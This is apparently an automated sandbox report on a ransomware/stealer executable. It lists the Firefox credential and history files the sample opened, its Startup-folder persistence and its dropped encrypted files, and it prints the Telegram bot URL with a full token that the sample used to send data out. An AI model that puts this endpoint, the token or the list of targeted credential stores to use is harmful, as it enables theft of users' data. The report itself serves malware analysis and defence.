Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426835649.b06d08be-79e8-4bfe-b6aa-988ea3d35cbd.first-shutdown.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\compatibility.ini	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\db	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\crashes\events	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\crashes\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426840748.a8c1f564-c2e2-4ef8-a85f-52a56488f193.main.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\temporary	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\minidumps	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\parent.lock	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\session-state.json	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.files	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\times.json	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\times.json	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\pending_pings\7755ad51-2370-4623-9d21-15c89f2143db	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426835643.9a3c31ca-35e4-421e-91e1-5f7b9bd27492.event.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\bookmarkbackups	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426840727.86be03dd-6b03-42f5-89cd-4606f43d25ad.health.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.files\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\events\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\state.json	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\pending_pings\ae04dde8-69a1-49f8-95f1-d533ed587ff6	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\xulstore.json	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\addonStartup.json.lz4	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\addons.json	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\permissions.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\protections.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\crashes\events\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\shield-preference-experiments.json	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\events\background-update	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\ExperimentStoreData.json	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\crashes	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\saved-telemetry-pings	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\SiteSecurityServiceState.txt	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-shm	Jump to behavior

Source: C:\Users\user\Desktop\aASfOObWpW.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Directory queried: C:\Users\user\Documents\My Music	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Directory queried: C:\Users\user\Documents\My Music	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Directory queried: C:\Users\user\Documents\My Pictures	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Directory queried: C:\Users\user\Documents\My Pictures	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Directory queried: C:\Users\user\Documents\My Videos	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	2 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	1 OS Credential Dumping	1 Query Registry	Remote Services	1 Input Capture	1 Web Service	Exfiltration Over Other Network Medium	2 Data Encrypted for Impact
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	2 Registry Run Keys / Startup Folder	1 Disable or Modify Tools	1 Input Capture	1 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Browser Session Hijacking	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	11 Data from Local System	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	12 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
aASfOObWpW.exe	48%	Virustotal		Browse
aASfOObWpW.exe	45%	ReversingLabs	Win32.Ransomware.REntS

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.telegram.org	149.154.167.220	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot7277798486:AAEyKmvjnINtyS8uzKbaNK-Qn4l4o-hjPqY/sendDocument	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.telegram.org	aASfOObWpW.exe, 00000000.00000002.3285517784.0000000002301000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	aASfOObWpW.exe, 00000000.00000002.3285517784.0000000002301000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom		62041	TELEGRAMRU	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1592007
Start date and time:	2025-01-15 16:37:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	aASfOObWpW.exe renamed because original name is a hash value
Original Sample Name:	e17bfe60dea579699f67bd70e7e49aba582f5ff2337ca38d78dba650edd5ba3d.exe
Detection:	MAL
Classification:	mal92.rans.phis.troj.spyw.winEXE@2/292@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 94% Number of executed functions: 19 Number of non-executed functions: 4
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27, 4.175.87.197, 13.107.246.45
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:38:01	API Interceptor	14x Sleep call for process: aASfOObWpW.exe modified
10:38:14	API Interceptor	1x Sleep call for process: OpenWith.exe modified
16:38:05	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini.werus

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
149.154.167.220	Invoice No 1122207 pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	qqnal04.exe	Get hash	malicious	Phemedrone Stealer	Browse
	DESCRIPTION.exe	Get hash	malicious	DarkCloud	Browse
	Inquiry.js	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse
	17369284269327933f4ce2d9485e98192cffc35d127e85bf0db77dc37ba595305760e31611471.dat-decoded.exe	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse
	Company introduction.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	rDEKONT-1_15_2025__75kb__pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	https://savory-sweet-felidae-psrnd.glitch.me/	Get hash	malicious	HTMLPhisher	Browse
	QUOTATION REQUIRED_Enatel s.r.l..exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Confirm Bank Statement.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.telegram.org	Invoice No 1122207 pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	qqnal04.exe	Get hash	malicious	Phemedrone Stealer	Browse	149.154.167.220
	Inquiry.js	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	149.154.167.220
	17369284269327933f4ce2d9485e98192cffc35d127e85bf0db77dc37ba595305760e31611471.dat-decoded.exe	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	149.154.167.220
	Company introduction.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rDEKONT-1_15_2025__75kb__pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://savory-sweet-felidae-psrnd.glitch.me/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	QUOTATION REQUIRED_Enatel s.r.l..exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Confirm Bank Statement.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	q9JZUaS1Gy.doc	Get hash	malicious	Unknown	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	Invoice No 1122207 pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	qqnal04.exe	Get hash	malicious	Phemedrone Stealer	Browse	149.154.167.220
	DESCRIPTION.exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	Inquiry.js	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	149.154.167.220
	17369284269327933f4ce2d9485e98192cffc35d127e85bf0db77dc37ba595305760e31611471.dat-decoded.exe	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	149.154.167.220
	Company introduction.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rDEKONT-1_15_2025__75kb__pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	http://telenerh-ogjf.icu/	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
	http://telegroom-nzj.icu/	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
	https://ofmfy.icu/	Get hash	malicious	Unknown	Browse	149.154.167.99

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Updater.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	Updater.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	Personliche Nachricht fur e4060738.pdf	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://pub-2d00d32ff6d84ef6999828eaf509b772.r2.dev/index.html#watson.becky@aidb.org	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	Invoice No 1122207 pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	http://www.flamingoblv.com	Get hash	malicious	Unknown	Browse	149.154.167.220
	NZZ71x6Cyz.dll	Get hash	malicious	Wannacry	Browse	149.154.167.220
	qqnal04.exe	Get hash	malicious	Phemedrone Stealer	Browse	149.154.167.220
	RFQ_43200046412000086500125.vbs	Get hash	malicious	Discord Token Stealer	Browse	149.154.167.220

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	PC bitmap, Windows 3.x format, 1920 x 1080 x 32, resolution 3780 x 3780 px/m, cbSize 8294454, bits offset 54
Category:	dropped
Size (bytes):	8294454
Entropy (8bit):	1.0144521675206317
Encrypted:	false
SSDEEP:	96:s5s4B9AB+ADoD4vHZtc5EpumFkS4r5LcKU2ZwBXx/5U0OVwbm3vzwpDpcrbXmZrt:vIc5+RkqI
MD5:	BA671E2B5B394F4B6714F60035B193A0
SHA1:	50FF289174B184C4F516B2C52B5483E3F13748B4
SHA-256:	3A523723696A71009B1DE20C56491849E368EA9930E7D223DDFC5B7E16D88B39
SHA-512:	1194D3F35BC1C4F73FDB799EB8B36286E5B54BDE4B56F157D14233D42623EF273077CADFB24CE1C4692CAF3D1DAC6D7DD0C3A28ED8FE7D68FEDF82D52EEE4410
Malicious:	false
Reputation:	low
Preview:	BM6.~.....6...(.......8..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\key_5621a09a-6865-4fe9-9682-1b2d95c65b31.pwd

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	5.2719056391313135
Encrypted:	false
SSDEEP:	3:e8hXdhhIoWsV4b2XInGwmMlv2kcwY:evsV4ATwmWvDu
MD5:	27ECE3E6731088CDA38AEB2F738B9E51
SHA1:	7F5FCA3AAACEAB34128E63624A1F6B30CE1C4DB7
SHA-256:	B0C4E89A0F65EDCF8C83C46B922AE0A17E6BEEC8BC5065BEFE8E009F7883F384
SHA-512:	17F1DA8AFA691D4C055C42DCB15B02117624CE6C91C4E0048EBBA00CC642A4DF28E7B44CAF8EBBB7C7A29BEB0E6D48650790694FFD1EC5CEE41027278B320E54
Malicious:	false
Reputation:	low
Preview:	878ae4bd-66e8-4b28-9307-992f8137a905-MkWXqSX5RqoJzrc5mBKlSgrGCEnvxuUJHaAzGrtGq0U=

C:\Users\user\AppData\Roaming\.curlrc.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:u+nMn:uuM
MD5:	B136E29098572EA049E145893D0E6B10
SHA1:	1932224786075AFECC589E6B723AE8B5D374A4EB
SHA-256:	64786179198DB6A1C8EEA3CE725389EB20CFFC83C942035EDD06DB7785BA16E4
SHA-512:	36223B2F54880DD9F96EB35EAF6F55B15681A2CB69530AA5877A19267190D1FA18C994C0888982DB06D79CCCAD7EF8ADEC6E5F9CE0265CF25299C3B1FFB368AF
Malicious:	false
Reputation:	low
Preview:	......u].......

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobData.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	32
Entropy (8bit):	4.9375
Encrypted:	false
SSDEEP:	3:ggqj/l:gZl
MD5:	5A51667778EBFEB10600CB4915B70B55
SHA1:	F94F75DD8B45F59F00E42CD7553B382DE61FB3E1
SHA-256:	B102D38CF2181B12247061BB557550D404191D24C64C00B0946FFEBAF7775813
SHA-512:	57BA3AD9EDBFEDB42DBD9CD8AF668AF46998A7846D3827748C5858ED0C9DB783DFED5C6621140C66D617220C0A83297A4EBE84E183C5BD0DBC54C6552EFA007B
Malicious:	false
Reputation:	low
Preview:	!l...8._U$..W".W...2.d..n..M.

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobSettings.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	32
Entropy (8bit):	5.0
Encrypted:	false
SSDEEP:	3:+28xs4StMMfn:JgsVtMMfn
MD5:	E84F082AB134B03131D8D7385E7DA14C
SHA1:	24448CC20A55F1F30CD2B220B689E77386C3AEFB
SHA-256:	AED01E6F3E2FD50150ADC02B3F1CF4960EF7DB1975887829B8BCCDDF6A1CE81C
SHA-512:	BC9A2027DF6E97B9F15FEB41458BC3101040E4DAC74B7C27D9EDCBF2FB2AC501F2328CE3A3757BF0461E6C9C5FEDD86822D17FDD7EDB798208D6675B83AB18F5
Malicious:	false
Reputation:	low
Preview:	k.....o.;...v.j..{>...........i

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_store.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	10256
Entropy (8bit):	7.980519177142994
Encrypted:	false
SSDEEP:	192:YYZbu/BjE1CxgIqgIVZ52RGTINTGHNL25dKgamuCdCnFAz5q2:YZ/BjE1DngI0RGTwGHNL25NunFA5q2
MD5:	777C0D82BC753DAC64742BC9D77E31D4
SHA1:	595BFAD9F0CAB7D8F631B606DBFBADF15DA5B63F
SHA-256:	72978E2EC1EF3D5C32274D98C8D58A96D3CDDCCFE8A040F28C9B55CD9ABB0B17
SHA-512:	6C7E19A723A30E8370B277ACBBF30BF7CBF39D5E1853F2D4C9AE03C6053D4093B88F880768DCA4E560CDFF8F9EEB9BCE416F141D69799C2F091D5DF07E236CDC
Malicious:	false
Reputation:	low
Preview:	4...I._.)...8..bF...+}..F5.\.. 4....H!YUq..ms.:P..f.u.0\..$=VA..0..<al.H1C..o.....\I.._C.\8:}A..p`=......x...B....7..Z.v..we.........1..a3.....C...gb.a...f....k%\..O83.\|..O.:...5.....cc93NY..m......L.hv..L..4..../..V..M'/.Niy...v%h..,....<B?..[^..j.D/...j.(....X0.Pl..}z=.J..e..`Wo.....O.....z}.^#...,'...+'+.;..c91D..Y.s.0._.F..p.-.9...8..U7m..4.T'.V.<...#H>[.9..>..T.k.zYF-...{..x.....:.'!NO.L!S..Z.V..v^..:}.d.."g....x@.@..l!.4.......\|.!.N.l4..."..~..\|........y+.\|tw:s..0...:.R.Za..&...a.q......'d.O...,.:.y..JX.].......pbd..)."......eZ.{.DI}8SiC..R...R?..!..).x-.2..\.X,1.W..'..6.m.<......KH....2..)@.........n.]w....2...G..Y.M..m..O1U#9.0.@.a.\|..P.....Z.R.[X.C.........d..i.u...8r(....d8.%3:]...G...t.D..u...F.7..}s.u..W...UA[.Q.$.0.._...G.6E.6Qy.r..m..K.....~T..].1...@..Z.].P....R1.\|4'...;1..j......*(.3..D ..O.o.Q?\|... O&V(.B.Y...t..":.n=T.`../X.W.....+>$.%.......mV.X(...U>PcW............2uAh.~3...qneV....O..C.gk..Z[./BqS.m.`=..T..>.$...tR....

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_storei.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	24160
Entropy (8bit):	7.991041531497189
Encrypted:	true
SSDEEP:	384:M5RGgvLvwVEe0AJQLTdJminwe+tdGkesntnBOeGh5io2DHokK8P8wG6XlSmMBXtB:MUiT3mmweS0kbGe1nokK8P8l4SmM9mI
MD5:	076033737B43768C06526074187A00DC
SHA1:	31963894E937F133BECF7950C712925D0AD5374B
SHA-256:	A7BCB5C7D34C686F34EDD2498260BAD27C56E8963D4653CC967D9AFC3060A96E
SHA-512:	C0CB96952477993E09F848D02AA973F4D86AB7538D550C488EB6B89CBCBD8F5B32ABBE273E68739E1064D9A64EDB046B3B9BF406B1E2DD69D837C00A9A2EEC44
Malicious:	true
Reputation:	low
